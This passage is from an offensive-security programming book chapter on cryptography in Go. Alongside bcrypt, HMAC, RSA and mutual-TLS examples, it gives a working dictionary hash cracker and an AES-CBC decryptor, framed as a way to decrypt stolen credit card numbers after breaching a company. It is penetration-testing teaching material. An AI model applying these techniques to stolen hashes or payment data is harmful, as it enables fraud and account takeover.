attempts to crack a given MD5 or SHA-512 hash by using an offline diction-
ary attack. The second example demonstrates an implementation of bcrypt.
As mentioned previously, bcrypt is a more secure algorithm for hashing
sensitive data such as passwords. The algorithm also contains a feature that
reduces its speed, making it harder to crack passwords.
Cracking an MD5 or SHA-256 Hash
Listing 11-1 shows the hash-cracking code. (All the code listings at the
root location of / exist under the provided github repo https://github.com/
blackhat-go/bhg/.) Since hashes aren’t directly reversible, the code instead
tries to guess the cleartext value of the hash by generating its own hashes
of common words, taken from a word list, and then comparing the result-
ing hash value with the hash you have in hand. If the two hashes match,
you’ve likely guessed the cleartext value.
u var md5hash = "77f62e3524cd583d698d51fa24fdff4f"
var sha256hash =
"95a5e1547df73abdd4781b6c9e55f3377c15d08884b11738c2727dbd887d4ced"
func main() {
f, err := os.Open("wordlist.txt")v
if err != nil {
log.Fatalln(err)
}
defer f.Close()
w scanner := bufio.NewScanner(f)
for scanner.Scan() {
password := scanner.Text()
hash := fmt.Sprintf("%x", md5.Sum([]byte(password))x)
y if hash == md5hash {
fmt.Printf("[+] Password found (MD5): %s\n", password)
}
hash = fmt.Sprintf("%x", sha256.Sum256([]byte(password))z)
{ if hash == sha256hash {
fmt.Printf("[+] Password found (SHA-256): %s\n", password)
}
}
if err := scanner.Err(); err != nil {
log.Fatalln(err)
}
}
Listing 11-1: Cracking MD5 and SHA-256 hashes (/ch-11 /hashes/main.go)
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 237
You start by defining two variables u that hold the target hash values.
One is an MD5 hash, and the other is a SHA-256. Imagine that you acquired
these two hashes as part of post-exploitation and you’re trying to determine
the inputs (the cleartext passwords) that produced them after being run
through the hashing algorithm. You can often determine the algorithm by
inspecting the length of the hash itself. When you find a hash that matches
the target, you’ll know you have the correct input.
The list of inputs you’ll try exists in a dictionary file you’ll have created
earlier. Alternatively, a Google search can help you find dictionary files for
commonly used passwords. To check the MD5 hash, you open the dictionary
file v and read it, line by line, by creating a bufio.Scanner on the file descrip-
tor w. Each line consists of a single password value that you wish to check.
You pass the current password value into a function named md5.Sum(input
[]byte) x. This function produces the MD5 hash value as raw bytes, so you
use the fmt.Sprintf() function with the format string %x to convert it to a
hexadecimal string. After all, your md5hash variable consists of a hexadeci-
mal string representation of the target hash. Converting your value ensures
that you can then compare the target and calculated hash values y. If these
hashes match, the program displays a success message to stdout.
You perform a similar process to calculate and compare SHA-256 hashes.
The implementation is fairly similar to the MD5 code. The only real differ-
ence is that the sha256 package contains additional functions to calculate
various SHA hash lengths. Rather than calling sha256.Sum() (a function that
doesn’t exist), you instead call sha256.Sum256(input []byte) z to force the
hash to be calculated using the SHA-256 algorithm. Much as you did in the
MD5 example, you convert your raw bytes to a hex string and compare the
SHA-256 hashes to see whether you have a match {.
Implementing bcrypt
The next example shows how to use bcrypt to encrypt and authenticate
passwords. Unlike SHA and MD5, bcrypt was designed for password hash-
ing, making it a better option for application designers than the SHA or
MD5 families. It includes a salt by default, as well as a cost factor that makes
running the algorithm more resource-intensive. This cost factor controls
the number of iterations of the internal crypto functions, increasing the
time and effort needed to crack a password hash. Although the password
can still be cracked using a dictionary or brute-force attack, the cost (in
time) increases significantly, discouraging cracking activities during time-
sensitive post-exploitation. It’s also possible to increase the cost over time
to counter the advancement of computing power. This makes it adaptive to
future cracking attacks.
Listing 11-2 creates a bcrypt hash and then validates whether a cleartext
password matches a given bcrypt hash.
import (
"log"
"os"
前沿信安资讯阵地 公众号:i nf osrc
238 Chapter 11
u "golang.org/x/crypto/bcrypt"
)
v var storedHash = "$2a$10$Zs3ZwsjV/nF.KuvSUE.5WuwtDrK6UVXcBpQrH84V8q3Opg1yNdWLu"
func main() {
var password string
if len(os.Args) != 2 {
log.Fatalln("Usage: bcrypt password")
}
password = os.Args[1]
w hash, err := bcrypt.GenerateFromPassword(
[]byte(password),
bcrypt.DefaultCost,
)
if err != nil {
log.Fatalln(err)
}
log.Printf("hash = %s\n", hash)
x err = bcrypt.CompareHashAndPassword([]byte(storedHash), []byte(password))
if err != nil {
log.Println("[!] Authentication failed")
return
}
log.Println("[+] Authentication successful")
}
Listing 11-2: Comparing bcrypt hashes (/ch-11/bcrypt /main.go)
For most of the code samples in this book, we’ve omitted the package
imports. We’ve included them in this example to explicitly show that you’re
using the supplemental Go package, golang.org/x/crypto/bcrypt u, because
Go’s built-in crypto package doesn’t contain the bcrypt functionality. You
then initialize a variable, storedHash v, that holds a precomputed, encoded
bcrypt hash. This is a contrived example; rather than wiring our sample
code up to a database to get a value, we’ve opted to hardcode a value for
demonstrative purposes. The variable could represent a value that you’ve
found in a database row that stores user authentication information for a
frontend web application, for instance.
Next, you’ll produce a bcrypt-encoded hash from a cleartext password
value. The main function reads a password value as a command line argu-
ment and proceeds to call two separate bcrypt functions. The first function,
bcrypt.GenerateFromPassword() w, accepts two parameters: a byte slice repre-
senting the cleartext password and a cost value. In this example, you’ll pass
the constant variable bcrypt.DefaultCost to use the package’s default cost,
which is 10 at the time of this writing. The function returns the encoded
hash value and any errors produced.
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 239
The second bcrypt function you call is bcrypt.CompareHashAndPassword() x,
which does the hash comparison for you behind the scenes. It accepts a
bcrypt-encoded hash and a cleartext password as byte slices. The function
parses the encoded hash to determine the cost and salt. It then uses these
values with the cleartext password value to generate a bcrypt hash. If this
resulting hash matches the hash extracted from the encoded storedHash
value, you know the provided password matches what was used to create
the storedHash.
This is the same method you used to perform your password cracking
against SHA and MD5—run a given password through the hashing func-
tion and compare the result with the stored hash. Here, rather than explic-
itly comparing the resulting hashes as you did for SHA and MD5, you check
whether bcrypt.CompareHashAndPassword() returns an error. If you see an error,
you know the computed hashes, and therefore the passwords used to com-
pute them, do not match.
The following are two sample program runs. The first shows the output
for an incorrect password:
$ go run main.go someWrongPassword
2020/08/25 08:44:01 hash = $2a$10$YSSanGl8ye/NC7GDyLBLUO5gE/ng51l9TnaB1zTChWq5g9i09v0AC
2020/08/25 08:44:01 [!] Authentication failed
The second shows the output for the correct password:
$ go run main.go someC0mpl3xP@ssw0rd
2020/08/25 08:39:29 hash = $2a$10$XfeUk.wKeEePNAfjQ1juXe8RaM/9EC1XZmqaJ8MoJB29hZRyuNxz.
2020/08/25 08:39:29 [+] Authentication successful
Those of you with a keen eye for detail may notice that the hash value
displayed for your successful authentication does not match the value you
hardcoded for your storedHash variable. Recall, if you will, that your code
is calling two separate functions. The GenerateFromPassword() function pro-
duces the encoded hash by using a random salt value. Given different salts,
the same password will produce different resulting hashes. Hence the dif-
ference. The CompareHashAndPassword() function performs the hashing algo-
rithm by using the same salt and cost as the stored hash, so the resulting
hash is identical to the one in the storedHash variable.
Authenticating Messages
Let’s now turn our focus to message authentication. When exchanging
messages, you need to validate both the integrity of data and the authen-
ticity of the remote service to make sure that the data is authentic and
hasn’t been tampered with. Was the message altered during transmission
by an unauthorized source? Was the message sent by an authorized sender
or was it forged by another entity?
前沿信安资讯阵地 公众号:i nf osrc
240 Chapter 11
You can address these questions by using Go’s crypto/hmac package, which
implements the Keyed-Hash Message Authentication Code (HMAC) standard.
HMAC is a cryptographic algorithm that allows us to check for message tam-
pering and verify the identity of the source. It uses a hashing function and
consumes a shared secret key, which only the parties authorized to produce
valid messages or data should possess. An attacker who does not possess this
shared secret cannot reasonably forge a valid HMAC value.
Implementing HMAC in some programming languages can be a little
tricky. For example, some languages force you to manually compare the
received and calculated hash values byte by byte. Developers may inadver-
tently introduce timing discrepancies in this process if their byte-by-byte
comparison is aborted prematurely; an attacker can deduce the expected
HMAC by measuring message-processing times. Additionally, developers
will occasionally think HMACs (which consume a message and key) are the
same as a hash of a secret key prepended to a message. However, the inter-
nal functionality of HMACs differs from that of a pure hashing function.
By not explicitly using an HMAC, the developer is exposing the applica-
tion to length-extension attacks, in which an attacker forges a message and
valid MAC.
Luckily for us Gophers, the crypto/hmac package makes it fairly easy
to implement HMAC functionality in a secure fashion. Let’s look at an
implementation. Note that the following program is much simpler than
a typical use case, which would likely involve some type of network com-
munications and messaging. In most cases, you’d calculate the HMAC
on HTTP request parameters or some other message transmitted over a
network. In the example shown in Listing 11-3, we’re omitting the client-
server communications and focusing solely on the HMAC functionality.
var key = []byte("some random key") u
func checkMAC(message, recvMAC []byte) bool { v
mac := hmac.New(sha256.New, key) w
mac.Write(message)
calcMAC := mac.Sum(nil)
return hmac.Equal(calcMAC, recvMAC)x
}
func main() {
// In real implementations, we’d read the message and HMAC value from network source
message := []byte("The red eagle flies at 10:00") y
mac, _ := hex.DecodeString("69d2c7b6fbbfcaeb72a3172f4662601d1f16acfb46339639ac8c10c8da64631d") z
if checkMAC(message, mac) { {
fmt.Println("EQUAL")
} else {
fmt.Println("NOT EQUAL")
}
}
Listing 11-3: Using HMAC for message authentication (/ch-11/hmac /main.go)
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 241
The program begins by defining the key you’ll use for your HMAC
cryptographic function u. You’re hardcoding the value here, but in a real
implementation, this key would be adequately protected and random. It
would also be shared between the endpoints, meaning both the message
sender and receiver are using this same key value. Since you aren’t imple-
menting full client-server functionality here, you’ll use this variable as if it
were adequately shared.
Next, you define a function, checkMAC() v, that accepts a message and
the received HMAC as parameters. The message receiver would call this
function to check whether the MAC value they received matches the value
they calculated locally. First, you call hmac.New() w, passing to it sha256.New,
which is a function that returns a hash.Hash instance, and the shared secret
key. In this case, the hmac.New() function initializes your HMAC by using the
SHA-256 algorithm and your secret key, and assigns the result to a variable
named mac. You then use this variable to calculate the HMAC hash value,
as you did in the earlier hashing examples. Here, you call mac.Write(message)
and mac.Sum(nil), respectively. The result is your locally calculated HMAC,
stored in a variable named calcMAC.
The next step is to evaluate whether your locally calculated HMAC value
is equal to the HMAC value you received. To do this in a secure manner, you
call hmac.Equal(calcMAC, recvMAC) x. A lot of developers would be inclined
to compare the byte slices by calling bytes.Compare(calcMAC, recvMAC). The
problem is, bytes.Compare() performs a lexicographical comparison, walking
and comparing each element of the given slices until it finds a difference
or reaches the end of a slice. The time it takes to complete this comparison
will vary based on whether bytes.Compare() encounters a difference on the
first element, the last, or somewhere in between. An attacker could measure
this variation in time to determine the expected HMAC value and forge a
request that’s processed legitimately. The hmac.Equal() function solves this
problem by comparing the slices in a way that produces nearly constant
measurable times. It doesn’t matter where the function finds a difference,
because the processing times will vary insignificantly, producing no obvious
or perceptible pattern.
The main() function simulates the process of receiving a message from
a client. If you were really receiving a message, you’d have to read and parse
the HMAC and message values from the transmission. Since this is just a
simulation, you instead hardcode the received message y and the received
HMAC z, decoding the HMAC hex string so it’s represented as a []byte.
You use an if statement to call your checkMAC() function {, passing it your
received message and HMAC. As detailed previously, your checkMAC() func-
tion computes an HMAC by using the received message and the shared
secret key and returns a bool value for whether the received HMAC and cal-
culated HMAC match.
Although the HMAC does provide both authenticity and integrity assur-
ance, it doesn’t ensure confidentiality. You can’t know for sure that the mes-
sage itself wasn’t seen by unauthorized resources. The next section addresses
this concern by exploring and implementing various types of encryption.
前沿信安资讯阵地 公众号:i nf osrc
242 Chapter 11
Encrypting Data
Encryption is likely the most well-known cryptographic concept. After all,
privacy and data protection have garnered significant news coverage due to
high-profile data breaches, often resulting from organizations storing user
passwords and other sensitive data in unencrypted formats. Even without
the media attention, encryption should spark the interest of black hats and
developers alike. After all, understanding the basic process and implementa-
tion can be the difference between a lucrative data breach and a frustrating
disruption to an attack kill chain. The following section presents the varying
forms of encryption, including useful applications and use cases for each.
Symmetric-Key Encryption
Your journey into encryption will start with what is arguably its most
straightforward form—symmetric-key encryption. In this form, both the
encryption and decryption functions use the same secret key. Go makes
symmetric cryptography pretty straightforward, because it supports most
common algorithms in its default or extended packages.
For the sake of brevity, we’ll limit our discussion of symmetric-key
encryption to a single, practical example. Let’s imagine you’ve breached an
organization. You’ve performed the necessary privilege escalation, lateral
movement, and network recon to gain access to an e-commerce web server
and the backend database. The database contains financial transactions;
however, the credit card number used in those transactions is obviously
encrypted. You inspect the application source code on the web server
and determine that the organization is using the Advanced Encryption
Standard (AES) encryption algorithm. AES supports multiple operating
modes, each with slightly different considerations and implementation
details. The modes are not interchangeable; the mode used for decryption
must be identical to that used for encryption.
In this scenario, let’s say you’ve determined that the application is using
AES in Cipher Block Chaining (CBC) mode. So, let’s write a function that
decrypts these credit cards (Listing 11-4). Assume that the symmetric key was
hardcoded in the application or set statically in a configuration file. As you go
through this example, keep in mind that you’ll need to tweak this implemen-
tation for other algorithms or ciphers, but it’s a good starting place.
func unpad(buf []byte) []byte { u
// Assume valid length and padding. Should add checks
padding := int(buf[len(buf)-1])
return buf[:len(buf)-padding]
}
func decrypt(ciphertext, key []byte) ([]byte, error) { v
var (
plaintext []byte
iv []byte
block cipher.Block
mode cipher.BlockMode
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 243
err error
)
if len(ciphertext) < aes.BlockSize { w
return nil, errors.New("Invalid ciphertext length: too short")
}
if len(ciphertext)%aes.BlockSize != 0 { x
return nil, errors.New("Invalid ciphertext length: not a multiple of blocksize")
}
iv = ciphertext[:aes.BlockSize] y
ciphertext = ciphertext[aes.BlockSize:]
if block, err = aes.NewCipher(key); err != nil { z
return nil, err
}
mode = cipher.NewCBCDecrypter(block, iv) {
plaintext = make([]byte, len(ciphertext))
mode.CryptBlocks(plaintext, ciphertext) |
plaintext = unpad(plaintext) }
return plaintext, nil
}
Listing 11-4: AES padding and decryption (/ch-11/aes/main.go)
The code defines two functions: unpad() and decrypt(). The unpad() func-
tion u is a utility function scraped together to handle the removal of pad-
ding data after decryption. This is a necessary step, but beyond the scope
of this discussion. Do some research on Public Key Cryptography Standards
(PKCS) #7 padding for more information. It’s a relevant topic for AES, as it’s
used to ensure that our data has proper block alignment. For this example,
just know that you’ll need the function later to clean up your data. The
function itself assumes some facts that you’d want to explicitly validate in a
real-world scenario. Specifically, you’d want to confirm that the value of the
padding bytes is valid, that the slice offsets are valid, and that the result is
of appropriate length.
The most interesting logic exists within the decrypt() function v, which
takes two byte slices: the ciphertext you need to decrypt and the symmetric
key you’ll use to do it. The function performs some validation to confirm
that the ciphertext is at least as long as your block size w. This is a necessary
step, because CBC mode encryption uses an initialization vector (IV) for
randomness. This IV, like a salt value for password hashing, doesn’t need
to remain secret. The IV, which is the same length as a single AES block, is
prepended onto your ciphertext during encryption. If the ciphertext length
is less than the expected block size, you know that you either have an issue
with the cipher text or are missing the IV. You also check whether the cipher-
text length is a multiple of the AES block size x. If it’s not, decryption will
fail spectacularly, because CBC mode expects the ciphertext length to be a
multiple of the block size.
前沿信安资讯阵地 公众号:i nf osrc
244 Chapter 11
Once you’ve completed your validation checks, you can proceed to
decrypt the ciphertext. As mentioned previously, the IV is prepended to the
ciphertext, so the first thing you do is extract the IV from the ciphertext y.
You use the aes.BlockSize constant to retrieve the IV and then redefine
your ciphertext variable to the remainder of your ciphertext via ciphertext
= [aes.BlockSize:]. You now have your encrypted data separate from your IV.
Next, you call aes.NewCipher(), passing it your symmetric-key value z.
This initializes your AES block mode cipher, assigning it to a variable named
block. You then instruct your AES cipher to operate in CBC mode by call-
ing cipher.NewCBCDecryptor(block, iv) {. You assign the result to a variable
named mode. (The crypto/cipher package contains additional initialization
functions for other AES modes, but you’re using only CBC decryption
here.) You then issue a call to mode.CryptBlocks(plaintext, ciphertext) to
decrypt the contents of ciphertext | and store the result in the plaintext
byte slice. Lastly, you } remove your PKCS #7 padding by calling your unpad()
utility function. You return the result. If all went well, this should be the
plaintext value of the credit card number.
A sample run of the program produces the expected result:
$ go run main.go
key = aca2d6b47cb5c04beafc3e483b296b20d07c32db16029a52808fde98786646c8
ciphertext = 7ff4a8272d6b60f1e7cfc5d8f5bcd047395e31e5fc83d062716082010f637c8f21150eabace62
--snip--
plaintext = 4321123456789090
Notice that you didn’t define a main() function in this sample code. Why
not? Well, decrypting data in unfamiliar environments has a variety of poten-
tial nuances and variations. Are the ciphertext and key values encoded or raw
binary? If they’re encoded, are they a hex string or Base64? Is the data locally
accessible, or do you need to extract it from a data source or interact with a
hardware security module, for example? The point is, decryption is rarely a
copy-and-paste endeavor and often requires some level of understanding of
algorithms, modes, database interaction, and data encoding. For this reason,
we’ve chosen to lead you to the answer with the expectation that you’ll inevit-
ably have to figure it out when the time is right.
Knowing just a little bit about symmetric-key encryption can make your
penetrations tests much more successful. For example, in our experience
pilfering client source-code repositories, we’ve found that people often
use the AES encryption algorithm, either in CBC or Electronic Codebook
(ECB) mode. ECB mode has some inherent weaknesses and CBC isn’t any
better, if implemented incorrectly. Crypto can be hard to understand, so
often developers assume that all crypto ciphers and modes are equally
effective and are ignorant of their subtleties. Although we don’t consider
ourselves cryptographers, we know just enough to implement crypto
securely in Go—and to exploit other people’s deficient implementations.
Although symmetric-key encryption is faster than asymmetric crypto-
graphy, it suffers from inherent key-management challenges. After all, to
use it, you must distribute the same key to any and all systems or applica-
tions that perform the encryption or decryption functions on the data.
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 245
You must distribute the key securely, often following strict processes and
auditing requirements. Also, relying solely on symmetric-key cryptography
prevents arbitrary clients from, for example, establishing encrypted com-
munications with other nodes. There isn’t a good way to negotiate the
secret key, nor are there authentication or integrity assurances for many
common algorithms and modes.1 That means anyone, whether authorized
or malicious, who obtains the secret key can proceed to use it.
This is where asymmetric cryptography can be of use.
Asymmetric Cryptography
Many of the problems associated with symmetric-key encryption are solved by
asymmetric (or public-key) cryptography, which uses two separate but mathemati-
cally related keys. One is available to the public and the other is kept private.
Data encrypted by the private key can be decrypted only by the public key,
and data encrypted by the public key can be decrypted only by the private
key. If the private key is protected properly and kept, well, private, then
data encrypted with the public key remains confidential, since you need the
closely guarded private key to decrypt it. Not only that, but you could use the
private key to authenticate a user. The user could use the private key to sign
messages, for example, which the public could decrypt using the public key.
So, you might be asking, “What’s the catch? If public-key cryptography
provides all these assurances, why do we even have symmetric-key crypto-
graphy?” Good question, you! The problem with public-key encryption is its
speed; it’s a lot slower than its symmetric counterpart. To get the best of both
worlds (and avoid the worst), you’ll often find organizations using a hybrid
approach: they’ll use asymmetric crypto for the initial communications nego-
tiation, establishing an encrypted channel through which they create and
exchange a symmetric key (often called a session key). Because the session key
is fairly small, using public-key crypto for this process requires little overhead.
Both the client and server then have a copy of the session key, which they use
to make future communications faster.
Let’s look at a couple of common use cases for public-key crypto.
Specifically, we’ll look at encryption, signature validation, and mutual
authentication.
Encryption and Signature Validation
For this first example, you’ll use public-key crypto to encrypt and decrypt
a message. You’ll also create the logic to sign a message and validate that
signature. For simplicity, you’ll include all of this logic in a single main()
function. This is meant to show you the core functionality and logic so that
you can implement it. In a real-world scenario, the process is a little more
complex, since you’re likely to have two remote nodes communicating with
each other. These nodes would have to exchange public keys. Fortunately,
this exchange process doesn’t require the same security assurances as
1. Some operating modes, such as Galois/Counter Mode (GCM), provide integrity assurance.
前沿信安资讯阵地 公众号:i nf osrc
246 Chapter 11
exchanging symmetric keys. Recall that any data encrypted with the pub-
lic key can be decrypted only by the related private key. So, even if you
perform a man-in-the-middle attack to intercept the public-key exchange
and future communications, you won’t be able to decrypt any of the data
encrypted by the same public key. Only the private key can decrypt it.
Let’s take a look at the implementation shown in Listing 11-5. We’ll elab-
orate on the logic and cryptographic functionality as we review the example.
func main() {
var (
err error
privateKey *rsa.PrivateKey
publicKey *rsa.PublicKey
message, plaintext, ciphertext, signature, label []byte
)
if privateKey, err = rsa.GenerateKey(rand.Reader, 2048)u; err != nil {
log.Fatalln(err)
}
publicKey = &privateKey.PublicKey v
label = []byte("")
message = []byte("Some super secret message, maybe a session key even")
ciphertext, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, publicKey, message, label) w
if err != nil {
log.Fatalln(err)
}
fmt.Printf("Ciphertext: %x\n", ciphertext)
plaintext, err = rsa.DecryptOAEP(sha256.New(), rand.Reader, privateKey, ciphertext, label) x
if err != nil {
log.Fatalln(err)
}
fmt.Printf("Plaintext: %s\n", plaintext)
h := sha256.New()
h.Write(message)
signature, err = rsa.SignPSS(rand.Reader, privateKey, crypto.SHA256, h.Sum(nil), nil) y
if err != nil {
log.Fatalln(err)
}
fmt.Printf("Signature: %x\n", signature)
err = rsa.VerifyPSS(publicKey, crypto.SHA256, h.Sum(nil), signature, nil)z
if err != nil {
log.Fatalln(err)
}
fmt.Println("Signature verified")
}
Listing 11-5: Asymmetric, or public-key, encryption (/ch-11/public-key /main.go/)
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 247
The program demonstrates two separate but related public-key crypto
functions: encryption/decryption and message signing. You first generate a
public/private key pair by calling the rsa.GenerateKey() function u. You sup-
ply a random reader and a key length as input parameters to the function.
Assuming the random reader and key lengths are adequate to generate a
key, the result is an *rsa.PrivateKey instance that contains a field whose value
is the public key. You now have a working key pair. You assign the public key
to its own variable for the sake of convenience v.
This program generates this key pair every time it’s run. In most cir-
cumstances, such as SSH communications, you’ll generate the key pair a
single time, and then save and store the keys to disk. The private key will be
kept secure, and the public key will be distributed to endpoints. We’re skip-
ping key distribution, protection, and management here, and focusing only
on the cryptographic functions.
Now that you’ve created the keys, you can start using them for encryp-
tion. You do so by calling the function rsa.EncryptOAEP() w, which accepts a
hashing function, a reader to use for padding and randomness, your public
key, the message you wish to encrypt, and an optional label. This function
returns an error (if the inputs cause the algorithm to fail) and our cipher-
text. You can then pass the same hashing function, a reader, your private
key, your ciphertext, and a label into the function rsa.DecryptOAEP() x. The
function decrypts the ciphertext by using your private key and returns the
cleartext result.
Notice that you’re encrypting the message with the public key. This
ensures that only the holder of the private key will have the ability to decrypt
the data. Next you create a digital signature by calling rsa.SignPSS() y. You
pass to it, again, a random reader, your private key, the hashing function
you’re using, the hash value of the message, and a nil value representing
additional options. The function returns any errors and the resulting signa-
ture value. Much like human DNA or fingerprints, this signature uniquely
identifies the identity of the signer (that is, the private key). Anybody hold-
ing the public key can validate the signature to not only determine the
authenticity of the signature but also validate the integrity of the message.
To validate the signature, you pass the public key, hash function, hash value,
signature, and additional options to rsa.VerifyPSS() z. Notice that in this
case you’re passing the public key, not the private key, into this function.
Endpoints wishing to validate the signature won’t have access to the private
key, nor will validation succeed if you input the wrong key value. The rsa
.VerifyPSS() function returns nil when the signature is valid and an error
when it’s invalid.
Here is a sample run of the program. It behaves as expected, encrypt-
ing the message by using a public key, decrypting it by using a private key,
and validating the signature:
$ go run main.go
Ciphertext: a9da77a0610bc2e5329bc324361b480ba042e09ef58e4d8eb106c8fc0b5
--snip--
Plaintext: Some super secret message, maybe a session key even
前沿信安资讯阵地 公众号:i nf osrc
248 Chapter 11
Signature: 68941bf95bbc12edc12be369f3fd0463497a1220d9a6ab741cf9223c6793
--snip--
Signature verified
Next up, let’s look at another application of public-key cryptography:
mutual authentication.
Mutual Authentication
Mutual authentication is the process by which a client and server authenticate
each other. They do this with public-key cryptography; both the client and
server generate public/private key pairs, exchange public keys, and use the
public keys to validate the authenticity and identity of the other endpoint.
To accomplish this feat, both the client and server must do some legwork to
set up the authorization, explicitly defining the public key value with which
they intend to validate the other. The downside to this process is the admin-
istrative overhead of having to create unique key pairs for every single node
and ensuring that the server and the client nodes have the appropriate data
to proceed properly.
To begin, you’ll knock out the administrative tasks of creating key
pairs. You’ll store the public keys as self-signed, PEM-encoded certificates.
Let’s use the openssl utility to create these files. On your server, you’ll create
the server’s private key and certificate by entering the following:
$ openssl req -nodes -x509 -newkey rsa:4096 -keyout serverKey.pem -out serverCrt.pem -days 365
The openssl command will prompt you for various inputs, to which you
can supply arbitrary values for this example. The command creates two
files: serverKey.pem and serverCrt.pem. The file serverKey.pem contains your pri-
vate key, and you should protect it. The serverCrt.pem file contains the serv-
er’s public key, which you’ll distribute to each of your connecting clients.
For every connecting client, you’ll run a command similar to the
preceding one:
$ openssl req -nodes -x509 -newkey rsa:4096 -keyout clientKey.pem -out clientCrt.pem -days 365
This command also generates two files: clientKey.pem and clientCrt.pem.
Much as with the server output, you should protect the client’s private
key. The clientCrt.pem certificate file will be transferred to your server and
loaded by your program. This will allow you to configure and identify the
client as an authorized endpoint. You’ll have to create, transfer, and con-
figure a certificate for each additional client so that the server can identify
and explicitly authorize them.
In Listing 11-6, you set up an HTTPS server that requires a client to
provide a legitimate, authorized certificate.
func helloHandler(w http.ResponseWriter, r *http.Request) { u
fmt.Printf("Hello: %s\n", r.TLS.PeerCertificates[0].Subject.CommonName) v
fmt.Fprint(w, "Authentication successful")
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 249
}
func main() {
var (
err error
clientCert []byte
pool *x509.CertPool
tlsConf *tls.Config
server *http.Server
)
http.HandleFunc("/hello", helloHandler)
if clientCert, err = ioutil.ReadFile("../client/clientCrt.pem")w; err != nil {
log.Fatalln(err)
}
pool = x509.NewCertPool()
pool.AppendCertsFromPEM(clientCert) x
tlsConf = &tls.Config{ y
ClientCAs: pool,
ClientAuth: tls.RequireAndVerifyClientCert,
}
tlsConf.BuildNameToCertificate() z
server = &http.Server{
Addr: ":9443",
TLSConfig: tlsConf, {
}
log.Fatalln(server.ListenAndServeTLS("serverCrt.pem", "serverKey.pem")|)
}
Listing 11-6: Setting up a mutual authentication server (/ch-11 /mutual-auth/cmd /server/main.go)
Outside the main() function, the program defines a helloHandler() func-
tion u. As we discussed way back in Chapters 3 and 4, the handler function
accepts an http.ResponseWriter instance and the http.Request itself. This
handler is pretty boring. It logs the common name of the client certificate
received v. The common name is accessed by inspecting the http.Request’s
TLS field and drilling down into the certificate PeerCertificates data. The
handler function also sends the client a message indicating that authentica-
tion was successful.
But how do you define which clients are authorized, and how do you
authenticate them? The process is fairly painless. You first read the client’s
certificate from the PEM file the client created previously w. Because it’s
possible to have more than one authorized client certificate, you create
a certificate pool and call pool.AppendCertsFromPEM(clientCert) to add the
client certificate to your pool x. You perform this step for each additional
client you wish to authenticate.
Next, you create your TLS configuration. You explicitly set the ClientCAs
field to your pool and configure ClientAuth to tls.RequireAndVerifyClientCert y.
前沿信安资讯阵地 公众号:i nf osrc
250 Chapter 11
This configuration defines your pool of authorized clients and requires
clients to properly identify themselves before they’ll be allowed to proceed.
You issue a call to tlsConf.BuildNameToCertificate() so that the client’s com-
mon and subject alternate names—the domain names for which the cer-
tificate was generated—will properly map to their given certificate z. You
define your HTTP server, explicitly setting your custom configuration {,
and start the server by calling server.ListenAndServeTLS(), passing to it the
server certificate and private-key files you created previously |. Note that
you don’t use the client’s private-key file anywhere in the server code. As
we’ve said before, the private key remains private; your server will be able
to identify and authorize clients by using only the client’s public key. This is
the brilliance of public-key crypto.
You can validate your server by using curl. If you generate and supply a
bogus, unauthorized client certificate and key, you’ll be greeted with a ver-
bose message telling you so:
$ curl -ik -X GET --cert badCrt.pem --key badKey.pem \
https://server.blackhat-go.local:9443/hello
curl: (35) gnutls_handshake() failed: Certificate is bad
You’ll also get a more verbose message on the server, something like this:
http: TLS handshake error from 127.0.0.1:61682: remote error: tls: unknown certificate authority
On the flip side, if you supply the valid certificate and the key that
matches the certificate configured in the server pool, you’ll enjoy a small
moment of glory as it successfully authenticates:
$ curl -ik -X GET --cert clientCrt.pem --key clientKey.pem \
https://server.blackhat-go.local:9443/hello
HTTP/1.1 200 OK
Date: Fri, 09 Oct 2020 16:55:52 GMT
Content-Length: 25
Content-Type: text/plain; charset=utf-8
Authentication successful
This message tells you the server works as expected.
Now, let’s have a look at a client (Listing 11-7). You can run the client on
either the same system as the server or a different one. If it’s on a different
system, you’ll need to transfer clientCrt.pem to the server and serverCrt.pem to
the client.
func main() {
var (
err error
cert tls.Certificate
serverCert, body []byte
pool *x509.CertPool
tlsConf *tls.Config
前沿信安资讯阵地 公众号:i nf osrc
Implementing and Attacking Cryptography 251
transport *http.Transport
client *http.Client
resp *http.Response
)
if cert, err = tls.LoadX509KeyPair("clientCrt.pem", "clientKey.pem"); err != nil { u
log.Fatalln(err)
}
if serverCert, err = ioutil.ReadFile("../server/serverCrt.pem"); err != nil { v
log.Fatalln(err)
}
pool = x509.NewCertPool()
pool.AppendCertsFromPEM(serverCert) w
tlsConf = &tls.Config{ x
Certificates: []tls.Certificate{cert},
RootCAs: pool,
}
tlsConf.BuildNameToCertificate()y
transport = &http.Transport{ z
TLSClientConfig: tlsConf,
}
client = &http.Client{ {
Transport: transport,
}
if resp, err = client.Get("https://server.blackhat-go.local:9443/hello"); err != nil { |
log.Fatalln(err)
}
if body, err = ioutil.ReadAll(resp.Body); err != nil { }
log.Fatalln(err)
}
defer resp.Body.Close()
fmt.Printf("Success: %s\n", body)
}
Listing 11-7: The mutual authentication client (/ch-11/mutual-auth/cmd /client /main.go)
A lot of the certificate preparation and configuration will look similar
to what you did in the server code: creating a pool of certificates and prepar-
ing subject and common names. Since you won’t be using the client certifi-
cate and key as a server, you instead call tls.LoadX509KeyPair("clientCrt.pem",
"clientKey.pem") to load them for use later u. You also read the server certifi-
cate, adding it to the pool of certificates you wish to allow v. You then use
the pool and client certificates w to build your TLS configuration x, and
call tlsConf.BuildNameToCertificate() to bind domain names to their respec-
tive certificates y.
Since you’re creating an HTTP client, you have to define a transport z,
correlating it with your TLS configuration. You can then use the transport
前沿信安资讯阵地 公众号:i nf osrc
252 Chapter 11
instance to create an http.Client struct {. As we discussed in Chapters 3
and 4, you can use this client to issue an HTTP GET request via client.Get
("https://server.blackhat-go.local:9443/hello") |.
All the magic happens behind the scenes at this point. Mutual authen-
tication is performed—the client and the server mutually authenticate
each other. If authentication fails, the program returns an error and exits.
Otherwise, you read the HTTP response body and display it to stdout }.
Running your client code produces the expected result, specifically, that
there were no errors thrown and that authentication succeeds:
$ go run main.go
Success: Authentication successful
Your server output is shown next. Recall that you configured the server
to log a hello message to standard output. This message contains the com-
